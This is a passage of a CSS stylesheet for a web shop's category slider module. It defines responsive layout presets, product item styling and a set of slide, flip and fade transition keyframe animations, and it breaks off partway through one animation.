.sp-category-slider .preset02-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-category-slider .preset02-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-category-slider .preset02-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-category-slider .preset02-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-category-slider .preset02-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-category-slider .preset02-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

.sp-category-slider .show.preset02-1 .item-cat-image {

width:33.3%

}

.sp-category-slider .show.preset02-2 .item-cat-image {

width:25%

}

.sp-category-slider .show.preset02-3 .item-cat-image {

width:20%

}

.sp-category-slider .show.preset02-4 .item-cat-image {

width:16.7%

}

.sp-category-slider .show.preset02-5 .item-cat-image {

width:14.3%

}

.sp-category-slider .show.preset02-6 .item-cat-image {

width:12.5%

}

.sp-category-slider .show.preset02-1 .item-sub-cat {

width:33.3%

}

.sp-category-slider .show.preset02-2 .item-sub-cat {

width:25%

}

.sp-category-slider .show.preset02-3 .item-sub-cat {

width:20%

}

.sp-category-slider .show.preset02-4 .item-sub-cat {

width:16.7%

}

.sp-category-slider .show.preset02-5 .item-sub-cat {

width:14.3%

}

.sp-category-slider .show.preset02-6 .item-sub-cat {

width:12.5%

}

.sp-category-slider .show.preset02-1 .slider {

width:33.3%

}

.sp-category-slider .show.preset02-2 .slider {

width:50%

}

.sp-category-slider .show.preset02-3 .slider {

width:60%

}

.sp-category-slider .show.preset02-4 .slider {

width:66%

}

.sp-category-slider .show.preset02-5 .slider {

width:71.4%

}

.sp-category-slider .show.preset02-6 .slider {

width:75%

}

.sp-category-slider .show-image .slider:before {

display:none

}

.sp-category-slider .show-image.preset02-1 .item-cat-image {

width:100%

}

.sp-category-slider .show-image.preset02-2 .item-cat-image {

width:33%

}

.sp-category-slider .show-image.preset02-3 .item-cat-image {

width:25%

}

.sp-category-slider .show-image.preset02-4 .item-cat-image {

width:20%

}

.sp-category-slider .show-image.preset02-5 .item-cat-image {

width:16.6%

}

.sp-category-slider .show-image.preset02-6 .item-cat-image {

width:14%

}

.sp-category-slider .show-image.preset02-1 .slider {

width:100%

}

.sp-category-slider .show-image.preset02-2 .slider {

width:66%

}

.sp-category-slider .show-image.preset02-3 .slider {

width:75%

}

.sp-category-slider .show-image.preset02-4 .slider {

width:80%

}

.sp-category-slider .show-image.preset02-5 .slider {

width:83%

}

.sp-category-slider .show-image.preset02-6 .slider {

width:85%

}

.sp-category-slider .show-sub.preset02-1 .item-sub-cat {

width:100%

}

.sp-category-slider .show-sub.preset02-2 .item-sub-cat {

width:33%

}

.sp-category-slider .show-sub.preset02-3 .item-sub-cat {

width:25%

}

.sp-category-slider .show-sub.preset02-4 .item-sub-cat {

width:20%

}

.sp-category-slider .show-sub.preset02-5 .item-sub-cat {

width:16.6%

}

.sp-category-slider .show-sub.preset02-6 .item-sub-cat {

width:14%

}

.sp-category-slider .show-sub.preset02-1 .slider {

width:100%

}

.sp-category-slider .show-sub.preset02-2 .slider {

width:66%

}

.sp-category-slider .show-sub.preset02-3 .slider {

width:75%

}

.sp-category-slider .show-sub.preset02-4 .slider {

width:80%

}

.sp-category-slider .show-sub.preset02-5 .slider {

width:83%

}

.sp-category-slider .show-sub.preset02-6 .slider {

width:85%

}

}

.sp-category-slider .item-img-info {

	position:relative

}

.sp-category-slider a.quick-view:hover {

	cursor:pointer

}

.sp-category-slider .quick-view-wrapper-mobile {

	background-color:transparent;

	bottom:0;

	height:155px;

	overflow:hidden;

	position:absolute;

	right:0;

	width:215px;

	z-index:2

}

.sp-category-slider .quick-view-wrapper-mobile a {

	background-color:rgba(208, 208, 211, 0.57);

	display:block;

	height:130px;

	position:relative;

	right:-162px;

	top:80px;

	transform:rotate(45deg);

	width:85px

}

.sp-category-slider .quick-view-wrapper-mobile a:hover {

	background-color:rgba(125, 125, 125, 0.57)

}

.sp-category-slider .quick-view-wrapper-mobile a i {

	bottom:0;

	color:black;

	display:inline-block;

	font-size:x-large;

	height:22px;

	left:9px;

	overflow:hidden;

	position:absolute;

	right:10px;

	top:46px;

	transform:rotate(-44deg);

	width:30px;

	z-index:2

}

@media all and (min-width:1201px) {

.sp-category-slider .quick-view-wrapper-mobile {

display:none !important

}

.sp-category-slider .preset01-1 .vpo-wrap {

width:100%;

margin:0

}

.sp-category-slider .preset01-1 .vpo-wrap .vp {

margin-right:0

}

.sp-category-slider .preset01-1 .vpo-wrap .vp .item {

float:left;

margin:0;

width:100%

}

.sp-category-slider .preset01-2 .vpo-wrap {

width:50%;

margin:0 -50% 0 0

}

.sp-category-slider .preset01-2 .vpo-wrap .vp {

margin-right:-100%

}

.sp-category-slider .preset01-2 .vpo-wrap .vp .item {

width:50%;

margin-right:1px

}

.sp-category-slider .preset01-3 .vpo-wrap {

width:33.3333%;

margin:0 -66.6666% 0 0

}

.sp-category-slider .preset01-3 .vpo-wrap .vp {

margin-right:-200%

}

.sp-category-slider .preset01-3 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:31.3333%

}

.sp-category-slider .preset01-4 .vpo-wrap {

width:25%;

margin:0 -75% 0 0

}

.sp-category-slider .preset01-4 .vpo-wrap .vp {

margin-right:-300%

}

.sp-category-slider .preset01-4 .vpo-wrap .vp .item {

float:left;

width:25%

}

.sp-category-slider .preset01-5 .vpo-wrap {

width:20%;

margin:0 -80% 0 0

}

.sp-category-slider .preset01-5 .vpo-wrap .vp {

margin-right:-400%

}

.sp-category-slider .preset01-5 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:18%

}

.sp-category-slider .preset01-6 .vpo-wrap {

width:16.6666%;

margin:0 -83.3333% 0 0

}

.sp-category-slider .preset01-6 .vpo-wrap .vp {

margin-right:-500%

}

.sp-category-slider .preset01-6 .vpo-wrap .vp .item {

float:left;

margin:0 1%;

width:14.6666%

}

.sp-category-slider .show.preset01-1 .item-cat-image {

width:33.3%

}

.sp-category-slider .show.preset01-2 .item-cat-image {

width:25%

}

.sp-category-slider .show.preset01-3 .item-cat-image {

width:20%

}

.sp-category-slider .show.preset01-4 .item-cat-image {

width:16.7%

}

.sp-category-slider .show.preset01-5 .item-cat-image {

width:14.3%

}

.sp-category-slider .show.preset01-6 .item-cat-image {

width:12.5%

}

.sp-category-slider .show.preset01-1 .item-sub-cat {

width:33.3%

}

.sp-category-slider .show.preset01-2 .item-sub-cat {

width:25%

}

.sp-category-slider .show.preset01-3 .item-sub-cat {

width:20%

}

.sp-category-slider .show.preset01-4 .item-sub-cat {

width:16.7%

}

.sp-category-slider .show.preset01-5 .item-sub-cat {

width:14.3%

}

.sp-category-slider .show.preset01-6 .item-sub-cat {

width:12.5%

}

.sp-category-slider .show.preset01-1 .slider {

width:33.3%

}

.sp-category-slider .show.preset01-2 .slider {

width:50%

}

.sp-category-slider .show.preset01-3 .slider {

width:60%

}

.sp-category-slider .show.preset01-4 .slider {

width:66%

}

.sp-category-slider .show.preset01-5 .slider {

width:71.4%

}

.sp-category-slider .show.preset01-6 .slider {

width:75%

}

.sp-category-slider .show-image .slider:before {

display:none

}

.sp-category-slider .show-image.preset01-1 .item-cat-image {

width:50%

}

.sp-category-slider .show-image.preset01-2 .item-cat-image {

width:33%

}

.sp-category-slider .show-image.preset01-3 .item-cat-image {

width:25%

}

.sp-category-slider .show-image.preset01-4 .item-cat-image {

width:20%

}

.sp-category-slider .show-image.preset01-5 .item-cat-image {

width:16.6%

}

.sp-category-slider .show-image.preset01-6 .item-cat-image {

width:14%

}

.sp-category-slider .show-image.preset01-1 .slider {

width:50%

}

.sp-category-slider .show-image.preset01-2 .slider {

width:66%

}

.sp-category-slider .show-image.preset01-3 .slider {

width:75%

}

.sp-category-slider .show-image.preset01-4 .slider {

width:100%

}

.sp-category-slider .show-image.preset01-5 .slider {

width:83%

}

.sp-category-slider .show-image.preset01-6 .slider {

width:85%

}

.sp-category-slider .show-sub.preset01-1 .item-sub-cat {

width:50%

}

.sp-category-slider .show-sub.preset01-2 .item-sub-cat {

width:33%

}

.sp-category-slider .show-sub.preset01-3 .item-sub-cat {

width:25%

}

.sp-category-slider .show-sub.preset01-4 .item-sub-cat {

width:20%

}

.sp-category-slider .show-sub.preset01-5 .item-sub-cat {

width:16.6%

}

.sp-category-slider .show-sub.preset01-6 .item-sub-cat {

width:14%

}

.sp-category-slider .show-sub.preset01-1 .slider {

width:50%

}

.sp-category-slider .show-sub.preset01-2 .slider {

width:66%

}

.sp-category-slider .show-sub.preset01-3 .slider {

width:75%

}

.sp-category-slider .show-sub.preset01-4 .slider {

width:100%

}

.sp-category-slider .show-sub.preset01-5 .slider {

width:83%

}

.sp-category-slider .show-sub.preset01-6 .slider {

width:85%

}

}

.sp-category-slider {

	margin:0 0 20px 0;

	position:relative;

	float:left;

	border-top:1px solid #ddd

}

.sp-category-slider .slider {

	position:relative;

	z-index:999

}

.sp-category-slider .show .slider:before {

	background:none repeat scroll 0 0 #ddd;

	content:"";

	position:absolute;

	right:0;

	top:0;

	width:1px;

	height:10000px;

	z-index:99

}

.sp-category-slider .slider .item {

	background-size:100% 100%

}

.sp-category-slider .slider .item img {

	width:100%;

	vertical-align:middle

}

.sp-category-slider .slider .item img:hover {

	cursor:pointer

}

.sp-category-slider .slider .vpo-wrap .vp {

	position:relative;

	overflow:hidden;

	box-shadow:0 0 1px #868585 inset

}

.sp-category-slider .slider .vpo-wrap .vp .vpi-wrap {

	white-space:nowrap;

	position:absolute;

	top:0;

	left:0;

	width:100%;

	height:100%;

	margin:0 0

}

.sp-category-slider .slider .vpo-wrap .vp .item {

	display:inline-block;

	font-size:13px;

	white-space:normal;

	vertical-align:top;

	float:none

}

.sp-category-slider .slider .vpo-wrap .vpi-wrap:after {

	display:block;

	height:0;

	line-height:0;

	content:'';

	clear:both

}

.categoryslider-content.cats-preload {

	min-height:300px;

	overflow:hidden

}

.sp-category-slider .not-js .vpo-wrap, .sp-category-slider .not-js .vpo-wrap .vp, .sp-category-slider .not-js .vpo-wrap .vp .vpi-wrap, .sp-category-slider .not-js .vpo-wrap .vp .item {

	position:static

}

.sp-category-slider .not-js .vpo-wrap .vp .item {

	float:left

}

.sp-category-slider #to li a {

	outline:none

}

.sp-category-slider .page-title {

	color:#2E2C2D;

	text-transform:uppercase;

	font-size:13px;

	font-weight:bold;

	overflow:hidden;

	width:75%;

	margin:10px 0 8px 6px

}

.sp-category-slider .slider .vpo-wrap .vp .item {

	border:1px solid transparent;

	margin-right:-3px

}

.sp-category-slider .slider .vpo-wrap .vp .item:hover {

	border:1px solid #aaa

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap {

	overflow:hidden

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-img {

	padding:0;

	text-align:center;

	position:relative;

	box-shadow:0 0 0

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info {

	padding:16px 20px 5px 20px

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-des {

	margin-bottom:5px;

	box-shadow:0 0 0

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-des p {

	margin:0

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-title {

	font-size:15px;

	margin-bottom:10px

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-title a {

	text-decoration:none

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-review {

	margin-bottom:10px

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-review .stars_active {

	background-position:0 -32px

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-prices {

	margin-bottom:10px

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-prices span.old-price {

	text-decoration:line-through;

	color:#e1e1e1

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-prices span {

	color:red

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-add-to-cart {

	margin-bottom:10px;

	padding:5px 0

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-add-to-cart a {

	display:inline;

	color:#FFF;

	text-transform:uppercase;

	text-decoration:none;

	background:#41ade2;

	padding:10px;

	margin-bottom:10px;

	margin-top:5px

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-add-to-cart a:hover {

	background-color:#33485f

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-detail a {

	text-decoration:none

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-introtext {

	word-wrap:break-word

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-detail a:hover {

	text-decoration:none

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-votes {

	position:relative;

	z-index:2

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info.item-spotlight .item-votes .hikashop_total_vote {

	color:#FFFFFF

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-btn-add {

	margin-bottom:7px

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-btn-add form {

	margin:0

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-btn-add .hikashop_add_to_cart {

	display:inline-block;

	margin:5px 5px 5px 0

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-btn-add .hikashop_add_wishlist {

	display:inline-block;

	margin:5px 5px 5px 0

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-content {

	margin:0;

	display:block

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-inner .content_price {

	margin-bottom:5px

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-inner .content_price .price.product-price {

	color:red

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-inner .button-container .functional-buttons {

	margin-top:5px

}

.sp-category-slider .slider .vpo-wrap .vp .item .item-wrap .item-info .item-inner .button-container .functional-buttons .compare {

	margin-top:5px

}

.sp-category-slider .sp-ct-loading {

	position:absolute;

	background:url(../images/loading.gif) no-repeat scroll center center white;

	top:0;

	bottom:0;

	left:0;

	right:0;

	width:100%;

	z-index:1000;

	min-height:300px

}

#layer_cart {

	z-index:9999

}

.sp-category-slider .control-button:after {

	clear:both

}

.sp-category-slider .control-button:before, .sp-category-slider .control-button:after {

	content:"";

	display:table

}

.post-text, .pre-text {

	margin:10px 20px 10px 20px

}

.sp-category-slider .page-top {

	display:block;

	position:relative;

	z-index:9999

}

.sp-category-slider .page-title-categoryslider {

	font-size:133.33%;

	line-height:40px;

	margin:0 0 30px;

	text-transform:uppercase;

	font-weight:bold;

	border-bottom:2px solid #eee;

	position:relative

}

.sp-category-slider .page-title-categoryslider span {

	display:inline-block;

	line-height:45px;

	position:relative

}

.sp-category-slider .page-title-categoryslider span:before {

	background:none repeat scroll 0 0 #3ab54a;

	bottom:-2px;

	content:"";

	height:2px;

	left:0;

	position:absolute;

	width:100%

}

.sp-category-slider .page-button {

	position:absolute;

	right:0;

	bottom:0;

	z-index:999;

	width:100%

}

.sp-category-slider .page-button ul {

	margin:0;

	padding:0;

	margin-top:10px;

	list-style-type:none;

	overflow:hidden

}

.sp-category-slider .categoryslider-content {

	float:left;

	overflow:hidden;

	display:block;

	width:100%;

	box-sizing:content-box;

	position:relative;

	background-color:#fff;

	margin-bottom:10px;

	margin-top:20px

}

.sp-category-slider .item-cat-image {

	float:left;

	height:100%

}

.sp-category-slider .item-cat-image a {

	display:block

}

.sp-category-slider .item-cat-image img {

	width:100%

}

.sp-category-slider .item-cat-image img:hover {

	opacity:0.7;

	filter:alpha(opacity=70)

}

.sp-category-slider .show .slider {

	float:left

}

.sp-category-slider .show-image .slider {

	float:left

}

.sp-category-slider .show-sub .slider {

	float:left

}

.sp-category-slider .item-sub-cat {

	display:inline-block;

	height:33px;

	border-right:1px solid #ddd;

	position:absolute;

	top:4px;

	right:0;

	padding-top:7px

}

.sp-category-slider .item-sub-cat ul li {

	display:inline-block;

	float:left;

	margin-left:-1px

}

.sp-category-slider .item-sub-cat ul li a {

	line-height:22px;

	border-left:1px solid #ddd;

	border-right:1px solid #ddd;

	display:inline-block;

	padding:0 15px

}

.sp-category-slider .item-sub-cat ul li:last-child a {

	border-right:0

}

.postext-categoryslider {

	clear:both

}

.sm-slider .tt-effect-active .item .item-wrap {

	pointer-events:none

}

.tt-effect-fall.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:fallDown 0.6s forwards;

animation:fallDown 0.6s forwards

}

.tt-effect-fall.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-fall.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:scaleUpFadeIn 0.6s forwards;

animation:scaleUpFadeIn 0.6s forwards

}

.tt-effect-slide.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

z-index:100;

overflow:hidden;

margin:0;

-webkit-animation:slideOut 0.5s forwards;

animation:slideOut 0.5s forwards

}

.tt-effect-slide.tt-effect-active .item-wrap:nth-child(2) {

visibility:visible

}

.tt-effect-slide.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:slideOut 0.5s forwards;

animation:slideOut 0.5s forwards

}

.tt-effect-slide.tt-effect-active .item.tt-empty .item-wrap {

	-webkit-animation:fadeIn 0.5s forwards;

	animation:fadeIn 0.5s forwards

}

.tt-effect-fallrotate.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

z-index:10;

-webkit-transform-origin:0 0;

transform-origin:0 0;

-webkit-animation:fallRotate 0.6s ease-in forwards;

animation:fallRotate 0.6s ease-in forwards

}

.tt-effect-fallrotate.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-fallrotate.tt-effect-active .item.tt-empty .item-wrap {

visibility:visible

}

.tt-effect-fallrotate.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0;

	-webkit-animation:fadeIn 0.6s forwards;

	animation:fadeIn 0.6s forwards

}

.tt-effect-fallrotate .item:nth-child(4) {

z-index:1

}

.tt-effect-fallrotate .item:nth-child(5) {

z-index:2

}

.tt-effect-fallrotate .item:nth-child(6) {

z-index:3

}

.tt-effect-fallrotate .item:first-child {

	z-index:4

}

.tt-effect-fallrotate .item:nth-child(2) {

z-index:5

}

.tt-effect-fallrotate .item:nth-child(3) {

z-index:6

}

.tt-effect-scalerotate.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:scaleRotateOut 0.6s forwards;

animation:scaleRotateOut 0.6s forwards

}

.tt-effect-scalerotate.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-scalerotate.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:scaleRotateIn 0.6s forwards;

animation:scaleRotateIn 0.6s forwards

}

.tt-effect-scalerotate.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:scaleRotateIn 0.6s forwards;

animation:scaleRotateIn 0.6s forwards

}

.tt-effect-scalerotate .item:nth-child(-n+3) {

z-index:2

}

.tt-effect-scalerotate .item:nth-last-child(-n+3) {

z-index:1

}

.tt-effect-stackback .item {

	-webkit-perspective:1000px;

	perspective:1000px

}

.tt-effect-stackback .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-stackback.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:moveLeft 0.8s forwards;

animation:moveLeft 0.8s forwards

}

.tt-effect-stackback.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-stackback.tt-effect-active .item.tt-empty .item-wrap {

z-index:-1;

-webkit-animation:popUp 0.8s ease-in forwards;

animation:popUp 0.8s ease-in forwards

}

.tt-effect-stackback.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:moveLeft 0.8s forwards;

animation:moveLeft 0.8s forwards

}

.tt-effect-stackback.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0;

	-webkit-animation:fadeIn 0.8s forwards;

	animation:fadeIn 0.8s forwards

}

.tt-effect-3dflip .item {

	-webkit-perspective:1000px;

	perspective:1000px

}

.tt-effect-3dflip .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-3dflip.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-transform-origin:0 50%;

transform-origin:0 50%;

-webkit-animation:rotateOutLeft 0.6s forwards;

animation:rotateOutLeft 0.6s forwards

}

.tt-effect-3dflip.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-3dflip.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-transform-origin:100% 50%;

transform-origin:100% 50%;

-webkit-animation:rotateInRight 0.6s ease-in forwards;

animation:rotateInRight 0.6s ease-in forwards

}

.tt-effect-bringback .item {

	-webkit-perspective:1000px;

	perspective:1000px

}

.tt-effect-bringback .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-bringback.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:hideLeft 0.8s forwards;

animation:hideLeft 0.8s forwards

}

.tt-effect-bringback.tt-effect-active .item .item-wrap:nth-child(2) {

z-index:-1;

-webkit-animation:showRight 0.8s forwards;

animation:showRight 0.8s forwards

}

.tt-effect-bringback.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:hideLeft 0.8s forwards;

animation:hideLeft 0.8s forwards

}

.tt-effect-bringback.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0;

	-webkit-animation:fadeIn 0.8s forwards;

	animation:fadeIn 0.8s forwards

}

.tt-effect-superscale.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:scaleDown 0.6s ease-in-out forwards;

-o-animation:scaleDown 0.6s ease-in-out forwards;

animation:scaleDown 0.6s ease-in-out forwards

}

.tt-effect-superscale.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-superscale.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:scaleIn 0.6s ease-in-out forwards;

animation:scaleIn 0.6s ease-in-out forwards

}

.tt-effect-flip .item {

	-webkit-perspective:1500px;

	perspective:1500px

}

.tt-effect-flip .item .item-wrap {

	-webkit-transform-style:preserve-3d;

	transform-style:preserve-3d;

	-webkit-backface-visibility:hidden;

	backface-visibility:hidden

}

.tt-effect-flip.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:flipOut 0.8s ease-in forwards;

animation:flipOut 0.8s ease-in forwards

}

.tt-effect-flip.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-flip.tt-effect-active .item.tt-empty .item-wrap {

opacity:0;

-webkit-animation:flipIn 0.8s ease-in forwards;

animation:flipIn 0.8s ease-in forwards

}

.tt-effect-frontrow .item {

	overflow:hidden

}

.tt-effect-frontrow.tt-effect-active .item:not(.tt-empty) .item-wrap:first-child {

-webkit-animation:moveToBack 0.8s forwards;

animation:moveToBack 0.8s forwards

}

.tt-effect-frontrow.tt-effect-active .item .item-wrap:nth-child(2), .tt-effect-frontrow.tt-effect-active .item.tt-empty .item-wrap {

-webkit-animation:moveToFront 0.8s forwards;

animation:moveToFront 0.8s forwards

}

.tt-effect-frontrow.tt-effect-active .item.tt-empty .item-wrap {

	opacity:0

}

.tt-effect-frontrow.tt-effect-active .item:not(.tt-empty) .item-wrap:only-child {

-webkit-animation:moveToFront 0.5s forwards;

animation:moveToFront 0.5s forwards

}

.sm-slider .tt-effect-delay.tt-effect-active .item:nth-child(2) .item-wrap {

-webkit-animation-delay:0.1s;

animation-delay:0.1s

}

.sm-slider .tt-effect-delay.tt-effect-active .item:nth-child(3) .item-wrap {

-webkit-animation-delay:0.2s;

animation-delay:0.2s

}

.sm-slider .tt-effect-delay.tt-effect-active .item:nth-child(4) .item-wrap {

-webkit-animation-delay:0.3s;

animation-delay:0.3s

}

.sm-slider .tt-effect-delay.tt-effect-active .item:nth-child(5) .item-wrap {

-webkit-animation-delay:0.4s;

animation-delay:0.4s

}

.sm-slider .tt-effect-delay.tt-effect-active .item:nth-child(6) .item-wrap {

-webkit-animation-delay:0.5s;

animation-delay:0.5s

}

.sm-slider .tt-effect-delay-reversed.tt-effect-active .item:nth-child(5) .item-wrap {

-webkit-animation-delay:0.1s;

animation-delay:0.1s

}

.sm-slider .tt-effect-delay-reversed.tt-effect-active .item:nth-child(4) .item-wrap {

-webkit-animation-delay:0.2s;

animation-delay:0.2s

}

.sm-slider .tt-effect-delay-reversed.tt-effect-active .item:nth-child(3) .item-wrap {

-webkit-animation-delay:0.3s;

animation-delay:0.3s

}

.sm-slider .tt-effect-delay-reversed.tt-effect-active .item:nth-child(2) .item-wrap {

-webkit-animation-delay:0.4s;

animation-delay:0.4s

}

.sm-slider .tt-effect-delay-reversed.tt-effect-active .item:nth-child(1) .item-wrap {

-webkit-animation-delay:0.5s;

animation-delay:0.5s

}

@-webkit-keyframes fallDown {

to {

opacity:0;

-webkit-transform:translateY(70%)

}

}

@keyframes fallDown {

to {

opacity:0;

transform:translateY(70%)

}

}

@-webkit-keyframes scaleUpFadeIn {

from {

opacity:0;

-webkit-transform:scale(0.8)

}

to {

	visibility:visible;

	opacity:1;

	-webkit-transform:scale(1)

}

}

@keyframes scaleUpFadeIn {

from {

opacity:0;

transform:scale(0.8)

}

to {

	visibility:visible;

	opacity:1;

	transform:scale(1)

}

}

@-webkit-keyframes slideOut {

from {

width:100%

}

to {

	width:0

}

}

@keyframes slideOut {

from {

width:100%

}

to {

	width:0

}

}

@-webkit-keyframes fadeOut {

from {

opacity:1

}

to {

	opacity:0

}

}

@keyframes fadeOut {

from {

opacity:1

}

to {

	opacity:0

}

}

@-webkit-keyframes fadeIn {

from {

opacity:0

}

to {

	opacity:1

}

}

@keyframes fadeIn {

from {

opacity:0

}

to {

	opacity:1

}

}

@-webkit-keyframes fallRotate {

0% {

-webkit-transform:translateY(0%) rotate(0deg);

-webkit-animation-timing-function:ease-in

}

40% {

-webkit-transform:translateY(0%) rotate(20deg);

-webkit-animation-timing-function:ease-out

}

60% {

-webkit-transform:translateY(0%) rotate(15deg);

opacity:1

}

100% {

-webkit-transform:translateY(150%) rotate(17deg);

opacity:0

}

}

@keyframes fallRotate {

0% {

transform:translateY(0%) rotate(0deg);

animation-timing-function:ease-in

}

40% {

transform:translateY(0%) rotate(20deg);

animation-timing-function:ease-out

}

60% {

transform:translateY(0%) rotate(15deg);

opacity:1

}

100% {

transform:translateY(150%) rotate(17deg);

opacity:0

}

}

@-webkit-keyframes scaleRotateOut {

100% {

opacity:0;

-webkit-transform:scale(0)

}

}

@keyframes scaleRotateOut {

100% {

opacity:0;

transform:scale(0)

}

}

@-webkit-keyframes scaleRotateIn {

0% {

opacity:0;

-webkit-transform:translateX(50%) translateY(100%) rotate(25deg)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:translateX(0%) translateY(0%) rotate(0deg)

}

}

@keyframes scaleRotateIn {

0% {

opacity:0;

transform:translateX(50%) translateY(100%) rotate(25deg)

}

100% {

visibility:visible;

opacity:1;

transform:translateX(0%) translateY(0%) rotate(0deg)

}

}

@-webkit-keyframes moveLeft {

50% {

opacity:1;

-webkit-transform:translateX(-100%) rotateY(35deg) rotateX(10deg)

}

100% {

opacity:1;

-webkit-transform:translateX(0%) rotateY(0deg) rotateX(0deg)

}

}

@keyframes moveLeft {

50% {

opacity:1;

transform:translateX(-100%) rotateY(35deg) rotateX(10deg)

}

100% {

opacity:1;

transform:translateX(0%) rotateY(0deg) rotateX(0deg)

}

}

@-webkit-keyframes popUp {

0% {

-webkit-transform:translateZ(-200px)

}

50% {

z-index:-1

}

51% {

z-index:1

}

70% {

z-index:1;

visibility:visible;

-webkit-transform:translateZ(50px);

-webkit-animation-timing-function:ease-out

}

100% {

z-index:1;

visibility:visible;

-webkit-transform:translateZ(0px)

}

}

@keyframes popUp {

0% {

transform:translateZ(-200px)

}

50% {

z-index:-1

}

51% {

z-index:1

}

70% {

z-index:1;

visibility:visible;

transform:translateZ(50px);

animation-timing-function:ease-out

}

100% {

z-index:1;

visibility:visible;

transform:translateZ(0px)

}

}

@-webkit-keyframes rotateOutLeft {

100% {

opacity:0;

-webkit-transform:rotateY(90deg)

}

}

@keyframes rotateOutLeft {

100% {

opacity:0;

transform:rotateY(90deg)

}

}

@-webkit-keyframes rotateInRight {

0% {

opacity:0;

-webkit-transform:rotateY(-90deg)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:rotateY(0deg)

}

}

@keyframes rotateInRight {

0% {

opacity:0;

transform:rotateY(-90deg)

}

100% {

visibility:visible;

opacity:1;

transform:rotateY(0deg)

}

}

@-webkit-keyframes hideLeft {

0% {

-webkit-transform:translateZ(0px)

}

40% {

-webkit-transform:translate(-40%, 0) scale(0.8) rotateY(20deg)

}

100% {

opacity:1;

-webkit-transform:translateZ(-400px)

}

}

@keyframes hideLeft {

0% {

transform:translateZ(0px)

}

40% {

transform:translate(-40%, 0) scale(0.8) rotateY(20deg)

}

100% {

transform:translateZ(-400px)

}

}

@-webkit-keyframes showRight {

0% {

-webkit-transform:translateZ(-400px)

}

40% {

z-index:-1;

-webkit-transform:translate(40%, 0) scale(0.8) rotateY(-20deg)

}

41% {

z-index:1

